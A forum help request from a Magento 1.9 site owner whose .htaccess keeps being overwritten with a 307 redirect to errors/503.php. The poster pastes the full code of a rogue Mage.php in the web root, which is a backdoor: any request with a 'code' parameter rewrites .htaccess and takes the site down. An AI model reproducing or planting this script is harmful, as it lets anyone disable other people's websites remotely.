Magento replacing my custom .htaccess file? every time my home page lands in : page is not redirecting. the url was www.example.com/errors/503.php
i would like to make clear there was no maintenance.flag file in root
The Mage.php file which we are discussing here is present in Root directory and not the app/Mage.php
- I am using Magento 1.9.0.1 CE
- I found PHP script in Mage.php file, which creates .htaccess file with errors/503.php redirect.
- even though .htaccess file exist, why the else part of Mage.php file is getting executed?
- The newly created .htaccess file contains only redirect to errors/503.php
- right now i had changed my .htaccess file permission to 555.
Unable to resolve this. Kindly help me.
Mage.php contains
<?php
if(isset($_GET['code'])) {
$create_name = "/home/buildg8t/public_html/.htaccess";
if (file_exists($create_name)) {
$htaccess = file_get_contents($create_name);
$rules = "RewriteBase /";
$content_string = "RewriteEngine On\n";
$content_string .= "RewriteBase /\n";
$content_string .= "RewriteCond %{REQUEST_URI} !^errors\503\.php$\n";
$content_string .= "RewriteRule ^(.*)$ http://www.example.com/errors/503.php [R=307,L]\n";
file_put_contents($create_name, $content_string);
}
else{
$create_name = "../.htaccess";
$file_handle = fopen($create_name, 'w') or die("Error: Can't open file");
//enter the contents
$content_string = "RewriteEngine On\n";
fwrite($file_handle, $content_string);
$content_string = "RewriteBase /\n";
fwrite($file_handle, $content_string);
$content_string = "RewriteCond %{REQUEST_URI} !^errors\503\.php$\n";
fwrite($file_handle, $content_string);
// change www.website.com for your website
$content_string = "RewriteRule ^(.*)$ http://www.example.com/errors/503.php [R=307,L]\n";
fwrite($file_handle, $content_string);
//
fclose($file_handle);
}
}
?>